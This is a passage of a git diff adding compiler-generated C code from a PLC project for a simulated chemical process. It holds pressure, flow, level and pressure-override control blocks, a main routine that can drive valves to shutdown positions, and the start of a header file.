__SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + 